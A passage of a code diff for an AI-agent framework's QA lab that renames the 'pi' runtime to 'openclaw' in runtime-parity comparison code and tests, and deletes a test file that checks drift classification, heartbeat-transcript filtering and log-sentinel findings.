a/extensions/qa-lab/src/providers/live-frontier/auth.ts +++ b/extensions/qa-lab/src/providers/live-frontier/auth.ts @@ -167,7 +167,7 @@ function qaLiveRequiresCodexAuth(params: { return false; } const forcedRuntime = params.env.OPENCLAW_QA_FORCE_RUNTIME?.trim().toLowerCase(); - if (forcedRuntime === "pi") { + if (forcedRuntime === "openclaw") { return false; } if (forcedRuntime === "codex") { diff --git a/extensions/qa-lab/src/runtime-parity.test.ts b/extensions/qa-lab/src/runtime-parity.test.ts deleted file mode 100644 index 5d1ec6afe91..00000000000 --- a/extensions/qa-lab/src/runtime-parity.test.ts +++ /dev/null @@ -1,742 +0,0 @@ -import { createHash } from "node:crypto"; -import fs from "node:fs/promises"; -import os from "node:os"; -import path from "node:path"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { - captureRuntimeParityCell, - isRuntimeParityResultPass, - runRuntimeParityScenario, - type RuntimeId, - type RuntimeParityCell, - type RuntimeParityToolCall, -} from "./runtime-parity.js"; - -const tempRoots: string[] = []; - -function makeToolCall(overrides: Partial = {}): RuntimeParityToolCall { - return { - tool: "read_file", - argsHash: "args-a", - resultHash: "result-a", - ...overrides, - }; -} - -function makeCell( - runtime: RuntimeId, - overrides: Partial = {}, -): RuntimeParityCell { - return { - runtime, - transcriptBytes: '{"role":"assistant"}\n', - toolCalls: [], - finalText: "same reply", - usage: { - inputTokens: 10, - outputTokens: 5, - totalTokens: 15, - }, - wallClockMs: 25, - bootStateLines: [], - ...overrides, - }; -} - -function normalizeForStableHashForTest(value: unknown): unknown { - if (Array.isArray(value)) { - return value.map((entry) => normalizeForStableHashForTest(entry)); - } - if (value && typeof value === "object") { - const record = value as Record; - return Object.fromEntries( - Object.keys(record) - .toSorted((left, right) => left.localeCompare(right)) - .map((key) => [key, normalizeForStableHashForTest(record[key])]), - ); - } - return value; -} - -function stableHashForTest(value: unknown) { - return createHash("sha256") - .update(JSON.stringify(normalizeForStableHashForTest(value)) ?? "null") - .digest("hex"); -} - -type RuntimeParityGatewaySessionFixture = { - sessionId: string; - sessionFile?: string; - updatedAt: number; - transcriptBytes: string; - spawnedBy?: string; - parentSessionKey?: string; - spawnDepth?: number; - subagentRole?: string; -}; - -async function createRuntimeParityGatewayTempRoot( - fixture: string | RuntimeParityGatewaySessionFixture[], -) { - const tempRoot = await fs.mkdtemp(path.join(os.tmpdir(), "runtime-parity-")); - tempRoots.push(tempRoot); - const sessionsDir = path.join(tempRoot, "state", "agents", "qa", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const fixtures = - typeof fixture === "string" - ? [ - { - sessionId: "session-1", - sessionFile: "session-1.jsonl", - updatedAt: 1, - transcriptBytes: fixture, - }, - ] - : fixture; - const store = Object.fromEntries( - fixtures.map(({ transcriptBytes: _transcriptBytes, ...entry }) => [ - entry.sessionId, - { - ...entry, - sessionFile: entry.sessionFile ?? `${entry.sessionId}.jsonl`, - }, - ]), - ); - await fs.writeFile(path.join(sessionsDir, "sessions.json"), JSON.stringify(store), "utf8"); - await Promise.all( - fixtures.map((entry) => - fs.writeFile( - path.join(sessionsDir, entry.sessionFile ?? `${entry.sessionId}.jsonl`), - entry.transcriptBytes, - "utf8", - ), - ), - ); - return tempRoot; -} - -afterEach(async () => { - await Promise.all( - tempRoots.splice(0).map((tempRoot) => fs.rm(tempRoot, { recursive: true, force: true })), - ); - vi.unstubAllGlobals(); -}); - -describe("runtime parity", () => { - it("classifies identical cells as none", async () => { - const result = await runRuntimeParityScenario({ - scenarioId: "same", - runCell: async (runtime) => ({ - scenarioStatus: "pass", - cell: makeCell(runtime), - }), - }); - - expect(result.drift).toBe("none"); - }); - - it("runs runtime cells serially so shared QA state cannot cross-contaminate", async () => { - const events: string[] = []; - const result = await runRuntimeParityScenario({ - scenarioId: "serial", - runCell: async (runtime) => { - events.push(`start:${runtime}`); - await Promise.resolve(); - events.push(`finish:${runtime}`); - return { - scenarioStatus: "pass", - cell: makeCell(runtime), - }; - }, - }); - - expect(result.drift).toBe("none"); - expect(events).toEqual(["start:pi", "finish:pi", "start:codex", "finish:codex"]); - }); - - it("classifies final-text-only differences as text-only", async () => { - const result = await runRuntimeParityScenario({ - scenarioId: "text-only", - runCell: async (runtime) => ({ - scenarioStatus: "pass", - cell: makeCell(runtime, { - finalText: runtime === "pi" ? "hello from pi" : "hello from codex", - }), - }), - }); - - expect(result.drift).toBe("text-only"); - }); - - it("classifies tool call shape drift", async () => { - const result = await runRuntimeParityScenario({ - scenarioId: "tool-call-shape", - runCell: async (runtime) => ({ - scenarioStatus: "pass", - cell: makeCell(runtime, { - toolCalls: [makeToolCall(runtime === "pi" ? {} : { argsHash: "args-b" })], - }), - }), - }); - - expect(result.drift).toBe("tool-call-shape"); - expect(isRuntimeParityResultPass(result)).toBe(true); - }); - - it("classifies tool result shape drift", async () => { - const result = await runRuntimeParityScenario({ - scenarioId: "tool-result-shape", - runCell: async (runtime) => ({ - scenarioStatus: "pass", - cell: makeCell(runtime, { - toolCalls: [makeToolCall(runtime === "pi" ? {} : { resultHash: "result-b" })], - }), - }), - }); - - expect(result.drift).toBe("tool-result-shape"); - }); - - it("classifies transcript-structure drift", async () => { - const result = await runRuntimeParityScenario({ - scenarioId: "structural", - runCell: async (runtime) => ({ - scenarioStatus: "pass", - cell: makeCell(runtime, { - transcriptBytes: - runtime === "pi" ? '{"role":"assistant"}\n' : '{"role":"assistant"}\n{"role":"tool"}\n', - }), - }), - }); - - expect(result.drift).toBe("structural"); - }); - - it("classifies runtime failures before other drift types", async () => { - const result = await runRuntimeParityScenario({ - scenarioId: "failure-mode", - runCell: async (runtime) => ({ - scenarioStatus: runtime === "pi" ? "fail" : "pass", - cell: makeCell(runtime, runtime === "pi" ? { runtimeErrorClass: "timeout" } : {}), - }), - }); - - expect(result.drift).toBe("failure-mode"); - expect(isRuntimeParityResultPass(result)).toBe(false); - }); - - it("surfaces tool-call-shape when one runtime fails because the tool path drifted", async () => { - const result = await runRuntimeParityScenario({ - scenarioId: "tool-call-failure", - runCell: async (runtime) => ({ - scenarioStatus: runtime === "pi" ? "pass" : "fail", - cell: makeCell(runtime, { - toolCalls: runtime === "pi" ? [makeToolCall()] : [], - ...(runtime === "codex" ? { runtimeErrorClass: "tool-error" } : {}), - }), - }), - }); - - expect(result.drift).toBe("tool-call-shape"); - expect(isRuntimeParityResultPass(result)).toBe(false); - }); - - it("surfaces tool-result-shape when a downstream timeout follows divergent tool output", async () => { - const result = await runRuntimeParityScenario({ - scenarioId: "tool-result-timeout", - runCell: async (runtime) => ({ - scenarioStatus: runtime === "pi" ? "pass" : "fail", - cell: makeCell(runtime, { - toolCalls: [makeToolCall(runtime === "pi" ? {} : { resultHash: "result-b" })], - ...(runtime === "codex" ? { runtimeErrorClass: "timeout" } : {}), - }), - }), - }); - - expect(result.drift).toBe("tool-result-shape"); - }); - - it("prefers provider-side mock request snapshots for tool call rows", async () => { - const tempRoot = await createRuntimeParityGatewayTempRoot('{"message":{"role":"assistant"}}\n'); - vi.stubGlobal( - "fetch", - vi.fn().mockResolvedValue({ - ok: true, - json: async () => [ - { - plannedToolName: "read", - plannedToolArgs: { path: "QA_KICKOFF_TASK.md" }, - toolOutput: "", - }, - { - toolOutput: JSON.stringify({ - status: "ok", - text: "QA mission: Understand this OpenClaw repo from source + docs before acting.", - }), - }, - ], - }), - ); - - const cell = await captureRuntimeParityCell({ - runtime: "codex", - gateway: { - tempRoot, - }, - scenarioResult: { - status: "pass", - }, - wallClockMs: 42, - mockBaseUrl: "http://127.0.0.1:9999", - }); - - expect(cell.toolCalls).toEqual([ - { - tool: "read", - argsHash: stableHashForTest({ path: "QA_KICKOFF_TASK.md" }), - resultHash: stableHashForTest({ - status: "ok", - text: "QA mission: Understand this OpenClaw repo from source + docs before acting.", - }), - }, - ]); - }); - - it("captures chained provider-side tool plans and error outputs in request order", async () => { - const tempRoot = await createRuntimeParityGatewayTempRoot('{"message":{"role":"assistant"}}\n'); - vi.stubGlobal( - "fetch", - vi.fn().mockResolvedValue({ - ok: true, - json: async () => [ - { - plannedToolName: "read", - plannedToolArgs: { path: "audit-fixture/README.md" }, - toolOutput: "", - }, - { - toolOutput: JSON.stringify({ - status: "ok", - text: "Release readiness task", - }), - plannedToolName: "write", - plannedToolArgs: { path: "release-audit.json", content: "{}" }, - }, - { - toolOutput: JSON.stringify({ - status: "failed", - error: "permission denied", - }), - }, - ], - }), - ); - - const cell = await captureRuntimeParityCell({ - runtime: "pi", - gateway: { - tempRoot, - }, - scenarioResult: { - status: "pass", - }, - wallClockMs: 42, - mockBaseUrl: "http://127.0.0.1:9999", - }); - - expect(cell.toolCalls).toEqual([ - { - tool: "read", - argsHash: stableHashForTest({ path: "audit-fixture/README.md" }), - resultHash: stableHashForTest({ - status: "ok", - text: "Release readiness task", - }), - }, - { - tool: "write", - argsHash: stableHashForTest({ content: "{}", path: "release-audit.json" }), - resultHash: stableHashForTest({ - status: "failed", - error: "permission denied", - }), - errorClass: "tool-result-error", - }, - ]); - }); - - it("ignores newer spawned-session transcripts when selecting the final scenario reply", async () => { - const tempRoot = await createRuntimeParityGatewayTempRoot([ - { - sessionId: "parent", - updatedAt: 10, - transcriptBytes: JSON.stringify({ - message: { - role: "assistant", - content: "parent scenario final", - }, - }), - }, - { - sessionId: "child", - updatedAt: 20, - spawnedBy: "agent:main:qa", - spawnDepth: 1, - subagentRole: "leaf", - transcriptBytes: JSON.stringify({ - message: { - role: "assistant", - content: "child worker final", - }, - }), - }, - ]); - - const cell = await captureRuntimeParityCell({ - runtime: "codex", - gateway: { - tempRoot, - }, - scenarioResult: { - status: "pass", - }, - wallClockMs: 42, - }); - - expect(cell.finalText).toBe("parent scenario final"); - expect(cell.transcriptBytes).not.toContain("child worker final"); - }); - - it("ignores newer heartbeat-only operational transcripts when selecting the scenario reply", async () => { - const tempRoot = await createRuntimeParityGatewayTempRoot([ - { - sessionId: "scenario", - updatedAt: 10, - transcriptBytes: JSON.stringify({ - message: { - role: "assistant", - content: "scenario final", - usage: { - input: 10, - output: 5, - totalTokens: 15, - }, - }, - }), - }, - { - sessionId: "heartbeat", - updatedAt: 20, - transcriptBytes: [ - JSON.stringify({ - message: { - role: "user", - content: - "Read HEARTBEAT.md if it exists. If nothing needs attention, reply HEARTBEAT_OK.", - }, - }), - JSON.stringify({ - message: { - role: "assistant", - content: "HEARTBEAT_OK", - usage: { - input: 100, - output: 50, - totalTokens: 150, - }, - }, - }), - ].join("\n"), - }, - ]); - - const cell = await captureRuntimeParityCell({ - runtime: "pi", - gateway: { - tempRoot, - }, - scenarioResult: { - status: "pass", - }, - wallClockMs: 42, - }); - - expect(cell.finalText).toBe("scenario final"); - expect(cell.usage.totalTokens).toBe(15); - expect(cell.transcriptBytes).not.toContain("HEARTBEAT_OK"); - }); - - it("ignores production heartbeat poll transcripts when selecting the scenario reply", async () => { - const tempRoot = await createRuntimeParityGatewayTempRoot([ - { - sessionId: "scenario", - updatedAt: 10, - transcriptBytes: JSON.stringify({ - message: { - role: "assistant", - content: "scenario final", - }, - }), - }, - { - sessionId: "heartbeat", - updatedAt: 20, - transcriptBytes: [ - JSON.stringify({ - message: { - role: "user", - content: "[OpenClaw heartbeat poll]", - }, - }), - JSON.stringify({ - message: { - role: "assistant", - content: "HEARTBEAT_OK", - }, - }), - ].join("\n"), - }, - ]); - - const cell = await captureRuntimeParityCell({ - runtime: "pi", - gateway: { - tempRoot, - }, - scenarioResult: { - status: "pass", - }, - wallClockMs: 42, - }); - - expect(cell.finalText).toBe("scenario final"); - expect(cell.transcriptBytes).not.toContain("[OpenClaw heartbeat poll]"); - }); - - it("ignores heartbeat tool-response transcripts when selecting the scenario reply", async () => { - const tempRoot = await createRuntimeParityGatewayTempRoot([ - { - sessionId: "scenario", - updatedAt: 10, - transcriptBytes: JSON.stringify({ - message: { - role: "assistant", - content: "scenario final", - }, - }), - }, - { - sessionId: "heartbeat-tool", - updatedAt: 20, - transcriptBytes: [ - JSON.stringify({ - message: { - role: "user", - content: "[OpenClaw heartbeat poll]", - }, - }), - JSON.stringify({ - message: { - role: "assistant", - content: [ - { - type: "tool_call", - id: "call-heartbeat", - name: "heartbeat_respond", - arguments: { - notify: false, - outcome: "no_change", - summary: "nothing due", - }, - }, - ], - }, - }), - JSON.stringify({ - message: { - role: "tool", - toolCallId: "call-heartbeat", - content: JSON.stringify({ status: "ok" }), - }, - }), - ].join("\n"), - }, - ]); - - const cell = await captureRuntimeParityCell({ - runtime: "codex", - gateway: { - tempRoot, - }, - scenarioResult: { - status: "pass", - }, - wallClockMs: 42, - }); - - expect(cell.finalText).toBe("scenario final"); - expect(cell.transcriptBytes).not.toContain("heartbeat_respond"); - }); - - it("ignores due-task heartbeats that run ordinary tools before responding", async () => { - const tempRoot = await createRuntimeParityGatewayTempRoot([ - { - sessionId: "scenario", - updatedAt: 10, - transcriptBytes: JSON.stringify({ - message: { - role: "assistant", - content: "scenario final", - }, - }), - }, - { - sessionId: "heartbeat-tool-check", - updatedAt: 20, - transcriptBytes: [ - JSON.stringify({ - message: { - role: "user", - content: [ - { - type: "text", - text: [ - "Run the following periodic tasks (only those due based on their intervals):", - "", - "- status: Check deployment status", - "", - "After completing all due tasks, use heartbeat_respond to report the outcome.", - ].join("\n"), - }, - ], - }, - }), - JSON.stringify({ - message: { - role: "assistant", - content: [ - { - type: "toolCall", - id: "call-read", - name: "read", - arguments: { file: "HEARTBEAT.md" }, - }, - ], - }, - }), - JSON.stringify({ - message: { - role: "user", - content: [ - { - type: "tool_result", - tool_call_id: "call-read", - content: "deployment ok", - }, - ], - }, - }), - JSON.stringify({ - message: { - role: "assistant", - content: [ - { - type: "toolCall", - id: "call-heartbeat", - name: "heartbeat_respond", - arguments: { - notify: false, - outcome: "no_change", - summary: "deployment ok", - }, - }, - ], - }, - }), - ].join("\n"), - }, - ]); - - const cell = await captureRuntimeParityCell({ - runtime: "codex", - gateway: { - tempRoot, - }, - scenarioResult: { - status: "pass", - }, - wallClockMs: 42, - }); - - expect(cell.finalText).toBe("scenario final"); - expect(cell.transcriptBytes).not.toContain("deployment ok"); - }); - - it("marks captured cells failed when gateway logs contain QA sentinel signatures", async () => { - const tempRoot = await createRuntimeParityGatewayTempRoot( - JSON.stringify({ - message: { - role: "assistant", - content: "scenario final", - }, - }), - ); - - const cell = await captureRuntimeParityCell({ - runtime: "codex", - gateway: { - tempRoot, - logs: () => "codex_app_server progress stalled for run abc123", - }, - scenarioResult: { - status: "pass", - }, - wallClockMs: 42, - }); - - expect(cell.runtimeErrorClass).toBe("sentinel:stalled-agent-run"); - expect(cell.sentinelFindings?.map((finding) => finding.kind)).toEqual(["stalled-agent-run"]); - }); - - it("marks direct-reply self-message transcripts as captured cell failures", async () => { - const tempRoot = await createRuntimeParityGatewayTempRoot( - [ - JSON.stringify({ - message: { - role: "assistant", - content: [ - { - type: "tool_use", - name: "message", - input: { action: "send", conversationId: "qa-operator", text: "hello" }, - }, - ], - }, - }), - JSON.stringify({ - message: { - role: "assistant", - content: "Sent.", - }, - }), - ].join("\n"), - ); - - const cell = await captureRuntimeParityCell({ - runtime: "pi", - gateway: { - tempRoot, - }, - scenarioResult: { - status: "pass", - }, - wallClockMs: 42, - }); - - expect(cell.finalText).toBe("Sent."); - expect(cell.runtimeErrorClass).toBe("sentinel:direct-reply-self-message"); - expect(cell.sentinelFindings?.map((finding) => finding.kind)).toEqual([ - "direct-reply-self-message", - ]); - }); -}); diff --git a/extensions/qa-lab/src/runtime-parity.ts b/extensions/qa-lab/src/runtime-parity.ts index 3a3699ab647..a32fdf05a28 100644 --- a/extensions/qa-lab/src/runtime-parity.ts +++ b/extensions/qa-lab/src/runtime-parity.ts @@ -13,7 +13,7 @@ import { type GatewayLogSentinelFinding, } from "./gateway-log-sentinel.js"; -export type RuntimeId = "pi" | "codex"; +export type RuntimeId = "openclaw" | "codex"; export type RuntimeParityToolCall = { tool: string; @@ -53,7 +53,10 @@ export type RuntimeParityDrift = export type RuntimeParityResult = { scenarioId: string; - cells: { pi: RuntimeParityCell; codex: RuntimeParityCell }; + cells: { + openclaw: RuntimeParityCell; + codex: RuntimeParityCell; + }; drift: RuntimeParityDrift; driftDetails?: string; }; @@ -76,7 +79,7 @@ export function runtimeParityCellStatus( export function isRuntimeParityResultPass(result: RuntimeParityResult) { return ( result.drift !== "failure-mode" && - runtimeParityCellStatus(result.cells.pi) === "pass" && + runtimeParityCellStatus(result.cells.openclaw) === "pass" && runtimeParityCellStatus(result.cells.codex) === "pass" ); } @@ -757,73 +760,77 @@ function summarizeSentinelErrorClass(findings: readonly GatewayLogSentinelFindin } function classifyRuntimeParityCells(params: { - pi: RuntimeParityCell; + openclaw: RuntimeParityCell; codex: RuntimeParityCell; - piScenarioStatus: "pass" | "fail"; + openclawScenarioStatus: "pass" | "fail"; codexScenarioStatus: "pass" | "fail"; }): Pick { if ( - isHardFailureRuntimeError(params.pi.runtimeErrorClass) || + isHardFailureRuntimeError(params.openclaw.runtimeErrorClass) || isHardFailureRuntimeError(params.codex.runtimeErrorClass) || - params.pi.transportErrorClass || + params.openclaw.transportErrorClass || params.codex.transportErrorClass ) { return { drift: "failure-mode", driftDetails: - params.pi.transportErrorClass || params.codex.transportErrorClass + params.openclaw.transportErrorClass || params.codex.transportErrorClass ? "at least one runtime hit a transport failure" : "at least one runtime hit a hard runtime failure", }; } - const toolCallShapeDetails = compareToolCallShape(params.pi.toolCalls, params.codex.toolCalls); + const toolCallShapeDetails = compareToolCallShape( + params.openclaw.toolCalls, + params.codex.toolCalls, + ); if (toolCallShapeDetails) { return { drift: "tool-call-shape", driftDetails: toolCallShapeDetails }; } const toolResultShapeDetails = compareToolResultShape( - params.pi.toolCalls, + params.openclaw.toolCalls, params.codex.toolCalls, ); if (toolResultShapeDetails) { return { drift: "tool-result-shape", driftDetails: toolResultShapeDetails }; } - const piTranscriptLines = params.pi.transcriptBytes.trim().length - ? params.pi.transcriptBytes.trim().split(/\r?\n/u).length + const openclawTranscriptLines = params.openclaw.transcriptBytes.trim().length + ? params.openclaw.transcriptBytes.trim().split(/\r?\n/u).length : 0; const codexTranscriptLines = params.codex.transcriptBytes.trim().length ? params.codex.transcriptBytes.trim().split(/\r?\n/u).length : 0; if ( - piTranscriptLines !== codexTranscriptLines || - (!params.pi.finalText && !!params.codex.finalText) || - (!!params.pi.finalText && !params.codex.finalText) + openclawTranscriptLines !== codexTranscriptLines || + (!params.openclaw.finalText && !!params.codex.finalText) || + (!!params.openclaw.finalText && !params.codex.finalText) ) { return { drift: "structural", - driftDetails: `transcript/final-text structure differs (${piTranscriptLines} lines vs ${codexTranscriptLines})`, + driftDetails: `transcript/final-text structure differs (${openclawTranscriptLines} lines vs ${codexTranscriptLines})`, }; } if ( - params.piScenarioStatus === "fail" || + params.openclawScenarioStatus === "fail" || params.codexScenarioStatus === "fail" || - params.pi.runtimeErrorClass || + params.openclaw.runtimeErrorClass || params.codex.runtimeErrorClass ) { return { drift: "failure-mode", driftDetails: - params.piScenarioStatus === params.codexScenarioStatus + params.openclawScenarioStatus === params.codexScenarioStatus ? "at least one runtime failed" - : `scenario status differs (${params.piScenarioStatus} vs ${params.codexScenarioStatus})`, + : `scenario status differs (${params.openclawScenarioStatus} vs ${params.codexScenarioStatus})`, }; } if ( - normalizeTextForParity(params.pi.finalText) === normalizeTextForParity(params.codex.finalText) + normalizeTextForParity(params.openclaw.finalText) === + normalizeTextForParity(params.codex.finalText) ) { return { drift: "none" }; } @@ -999,18 +1006,18 @@ export async function runRuntimeParityScenario(params: { scenarioId: string; runCell: (runtime: RuntimeId) => Promise; }): Promise { - const pi = await params.runCell("pi"); + const openclaw = await params.runCell("openclaw"); const codex = await params.runCell("codex"); const drift = classifyRuntimeParityCells({ - pi: pi.cell, + openclaw: openclaw.cell, codex: codex.cell, - piScenarioStatus: pi.scenarioStatus, + openclawScenarioStatus: openclaw.scenarioStatus, codexScenarioStatus: codex.scenarioStatus, }); return { scenarioId: params.scenarioId, cells: { - pi: pi.cell, + openclaw: openclaw.cell, codex: codex.cell, }, drift: drift.drift, diff --git a/extensions/qa-lab/src/scenario-catalog.test.ts b/extensions/qa-lab/src/scenario-catalog.test.ts index f7069b79d14..4208f2dc8c3 100644 --- a/extensions/qa-lab/src/scenario-catalog.test.ts +++ b/extensions/qa-lab/src/scenario-catalog.test.ts @@ -156,8 +156,8 @@ describe("qa scenario catalog", () => { expect(readQaScenarioExecutionConfig(webSearch.id)).not.toHaveProperty("knownHarnessGap"); }); - it("loads the Codex Pi-shaped Read vocabulary live parity canary", () => { - const scenario = readQaScenarioById("codex-pi-shaped-read-vocabulary"); + it("loads the Codex legacy Read vocabulary live parity canary", () => { + const scenario = readQaScenarioById("codex-legacy-read-tool-vocabulary"); const config = readQaScenarioExecutionConfig(scenario.id) as | { runtimeParityComparison?: string; @@ -167,11 +167,11 @@ describe("qa scenario catalog", () => { } | undefined; - expect(scenario.sourcePath).toBe("qa/scenarios/runtime/codex-pi-shaped-read-vocabulary.md"); + expect(scenario.sourcePath).toBe("qa/scenarios/runtime/codex-legacy-read-tool-vocabulary.md"); expect(scenario.runtimeParityTier).toBe("live-only"); expect(config?.runtimeParityComparison).toBe("codex-native-workspace"); - expect(config?.fixtureFile).toBe("PI_SHAPED_READ_FIXTURE.txt"); - expect(config?.expectedMarker).toBe("PI_SHAPED_READ_OK"); + expect(config?.fixtureFile).toBe("LEGACY_READ_TOOL_FIXTURE.txt"); + expect(config?.expectedMarker).toBe("LEGACY_READ_TOOL_OK"); expect(config?.unavailableNeedles).toContain("not in my available tool surface"); }); @@ -283,12 +283,7 @@ describe("qa scenario catalog", () => { pluginRelation: "older", }); expect(readQaScenarioExecutionConfig("auth-profile-doctor-migration-safety")).toMatchObject({ - matrixCells: [ - "oauth-only", - "mixed-no-pin", - "mixed-defaults-pi-pin", - "mixed-main-agent-pi-pin", - ], + matrixCells: ["oauth-only", "mixed-no-pin"], }); }); diff --git a/extensions/qa-lab/src/suite.summary-json.test.ts b/extensions/qa-lab/src/suite.summary-json.test.ts index 286fd70cc22..786bf46cb10 100644 --- a/extensions/qa-lab/src/suite.summary-json.test.ts +++ b/extensions/qa-lab/src/suite.summary-json.test.ts @@ -47,10 +47,10 @@ describe("buildQaSuiteSummaryJson", () => { it("records the runtime pair when the suite runs the runtime axis", () => { const json = buildQaSuiteSummaryJson({ ...baseParams, - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], }); - expect(json.run.runtimePair).toEqual(["pi", "codex"]); + expect(json.run.runtimePair).toEqual(["openclaw", "codex"]); }); it("treats an empty scenarioIds array as unspecified (no filter)", () => { @@ -114,8 +114,8 @@ describe("buildQaSuiteSummaryJson", () => { scenarioId: "scenario-a", drift: "none" as const, cells: { - pi: { - runtime: "pi" as const, + openclaw: { + runtime: "openclaw" as const, transcriptBytes: "", toolCalls: [], finalText: "done", diff --git a/extensions/qa-lab/src/suite.test.ts b/extensions/qa-lab/src/suite.test.ts index 30ad52097ca..32445f2ddc0 100644 --- a/extensions/qa-lab/src/suite.test.ts +++ b/extensions/qa-lab/src/suite.test.ts @@ -260,12 +260,12 @@ describe("qa suite", () => { expect( qaSuiteProgressTesting.buildQaRuntimeEnvPatch({ providerMode: "mock-openai", - forcedRuntime: "pi", + forcedRuntime: "openclaw", mockBaseUrl: "http://127.0.0.1:44080", }), ).toEqual({ OPENCLAW_BUILD_PRIVATE_QA: "1", - OPENCLAW_QA_FORCE_RUNTIME: "pi", + OPENCLAW_QA_FORCE_RUNTIME: "openclaw", }); }); @@ -383,7 +383,7 @@ describe("qa suite", () => { qaSuiteProgressTesting.remapModelRefForForcedRuntime({ modelRef: "mock-openai/gpt-5.5", providerMode: "mock-openai", - forcedRuntime: "pi", + forcedRuntime: "openclaw", }), ).toBe("mock-openai/gpt-5.5"); }); diff --git a/extensions/qa-lab/src/suite.ts b/extensions/qa-lab/src/suite.ts index 296184dd003..5fa3f1d03ea 100644 --- a/extensions/qa-lab/src/suite.ts +++ b/extensions/qa-lab/src/suite.ts @@ -5,7 +5,6 @@ import { disposeRegisteredAgentHarnesses } from "openclaw/plugin-sdk/agent-harne import type { OpenClawConfig } from "openclaw/plugin-sdk/config-contracts"; import { formatErrorMessage } from "openclaw/plugin-sdk/error-runtime"; import { fetchWithSsrFGuard } from "openclaw/plugin-sdk/ssrf-runtime"; -import { normalizeStringEntries } from "openclaw/plugin-sdk/string-coerce-runtime"; import { startQaGatewayChild, type QaCliBackendAuthMode } from "./gateway-child.js"; import type { QaLabLatestReport, @@ -66,6 +65,15 @@ type QaSuiteStep = { run: () => Promise; }; +function resolveQaSuiteControlUiEnabled(params: { + explicit?: boolean; + scenarios: ReturnType["scenarios"]; +}) { + return ( + params.explicit ?? params.scenarios.some((scenario) => scenarioRequiresControlUi(scenario)) + ); +} + export type QaSuiteScenarioResult = { name: string; status: "pass" | "fail"; @@ -238,16 +246,6 @@ function shouldRunQaSuiteWithIsolatedScenarioWorkers(params: { return true; } -function resolveQaSuiteControlUiEnabled(params: { - explicit?: boolean; - scenarios: ReturnType["scenarios"]; -}) { - if (typeof params.explicit === "boolean") { - return params.explicit; - } - return params.scenarios.some((scenario) => scenarioRequiresControlUi(scenario)); -} - const QA_IMAGE_UNDERSTANDING_PNG_BASE64 = "iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAAAAklEQVR4AewaftIAAAK4SURBVO3BAQEAMAwCIG//znsQgXfJBZjUALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsBpjVALMaYFYDzGqAWQ0wqwFmNcCsl9wFmNQAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwGmNUAsxpgVgPMaoBZDTCrAWY1wKwP4TIF+7ciPkoAAAAASUVORK5CYII="; @@ -373,18 +371,17 @@ function buildRuntimeParityScenarioResult(params: { result: RuntimeParityResult; }): QaSuiteScenarioResult { const driftStepStatus = isRuntimeParityPass(params.result) ? "pass" : "fail"; + const openclawCell = params.result.cells.openclaw; return { name: params.scenarioName, status: driftStepStatus, details: params.result.driftDetails ?? `runtime drift classified as ${params.result.drift}`, steps: [ { - name: params.result.cells.pi.runtime, + name: openclawCell.runtime, status: - params.result.cells.pi.runtimeErrorClass || params.result.cells.pi.transportErrorClass - ? "fail" - : "pass", - details: formatRuntimeParityCellDetails(params.result.cells.pi), + openclawCell.runtimeErrorClass || openclawCell.transportErrorClass ? "fail" : "pass", + details: formatRuntimeParityCellDetails(openclawCell), }, { name: params.result.cells.codex.runtime, @@ -1025,8 +1022,10 @@ export async function runQaSuite(params?: QaSuiteRunParams): Promise pluginId.trim()).filter(Boolean), + ...(params?.forcedRuntime && params.forcedRuntime !== "openclaw" + ? [params.forcedRuntime] + : []), ]), ]; const gatewayConfigPatch = collectQaSuiteGatewayConfigPatch(selectedCatalogScenarios); @@ -1048,10 +1047,6 @@ export async function runQaSuite(params?: QaSuiteRunParams): Promise { summary: makeLiveSummary([ makeRuntimeParity( "codex-savings", - makeCell("pi", { inputTokens: 120, outputTokens: 80, totalTokens: 200 }), + makeCell("openclaw", { inputTokens: 120, outputTokens: 80, totalTokens: 200 }), makeCell("codex", { inputTokens: 60, outputTokens: 40, totalTokens: 100 }), ), ]), @@ -90,7 +90,7 @@ describe("token efficiency report", () => { summary: makeLiveSummary([ makeRuntimeParity( "runtime-tool-fs-read", - makeCell("pi", { inputTokens: 72_000, outputTokens: 381, totalTokens: 72_381 }, [ + makeCell("openclaw", { inputTokens: 72_000, outputTokens: 381, totalTokens: 72_381 }, [ makeToolCall("fs.read"), makeToolCall("fs.read"), ]), @@ -120,7 +120,7 @@ describe("token efficiency report", () => { summary: makeLiveSummary([ makeRuntimeParity( "missing-live-usage", - makeCell("pi", { inputTokens: 0, outputTokens: 0, totalTokens: 0 }), + makeCell("openclaw", { inputTokens: 0, outputTokens: 0, totalTokens: 0 }), makeCell("codex", { inputTokens: 0, outputTokens: 0, totalTokens: 0 }), ), ]), @@ -128,7 +128,7 @@ describe("token efficiency report", () => { expect(report.pass).toBe(false); expect(report.failures).toEqual([ - "missing-live-usage pi live usage totalTokens=0", + "missing-live-usage openclaw live usage totalTokens=0", 